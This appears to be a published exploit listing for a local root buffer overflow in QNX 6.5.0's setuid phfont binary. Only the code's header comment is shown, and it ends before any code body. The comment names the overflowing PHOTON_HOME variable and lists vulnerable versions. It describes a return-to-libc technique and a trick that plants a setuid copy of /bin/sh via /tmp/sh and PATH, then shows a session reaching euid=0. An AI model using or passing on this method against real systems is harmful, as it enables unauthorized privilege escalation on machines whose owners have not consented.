QNX 6.5.0 x86 phfont buffer overflow exploit for local root acces

Code
/*
 *          QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013
 *                        <[email protected]>
 *
 * - vulnerability description:
 * Setuid root /usr/photon/bin/phfont on QNX is prone to a buffer overflow.
 * The vulnerability is due to insufficent bounds checking of the PHOTON_HOME
 * environment variable.
 *
 * - vulnerable platforms:
 * QNX 6.5.0SP1
 * QNX 6.5.0
 * QNX 6.4.1
 *
 * - not vulnerable:
 * QNX 6.3.0
 * QNX 6.2.0
 *
 * - exploit information:
 * This is a return-to-libc exploit that yields euid=0. The addresses of
 * system() and exit() are retrieved from libc using dlsym().
 *
 * During development of this exploit I ran into tty issues after succesfully
 * overwriting the EIP and launching /bin/sh. The following message appeared:
 *
 * No controlling tty (open /dev/tty: No such device or address)
 *
 * The shell became unusable and required a kill -9 to exit. To get around that
 * I had modify the exploit to create a shell script named /tmp/sh which copies
 * /bin/sh to /tmp/shell and then performs a chmod +s on /tmp/shell.
 *
 * During execution of the exploit the argument of system() will be set to sh,
 * and PATH will be set to /tmp. Once /tmp/sh is been executed, the exploit
 * will launch the setuid /tmp/shell yielding the user euid=0.
 *
 * - example:
 * $ uname -a
 * QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
 * $ id
 * uid=100(user) gid=100
 * $ ./qnx-phfont
 * QNX 6.5.0 x86 phfont local root exploit by cenobyte 2013
 *
 * [-] system(): 0xb031bd80
 * [-] exit(): 0xb032b5f0
 * [-] sh: 0xb030b7f8
 * [-] now dropping into root shell...
 * # id
 * uid=100(user) gid=100 euid=0(root)
 *
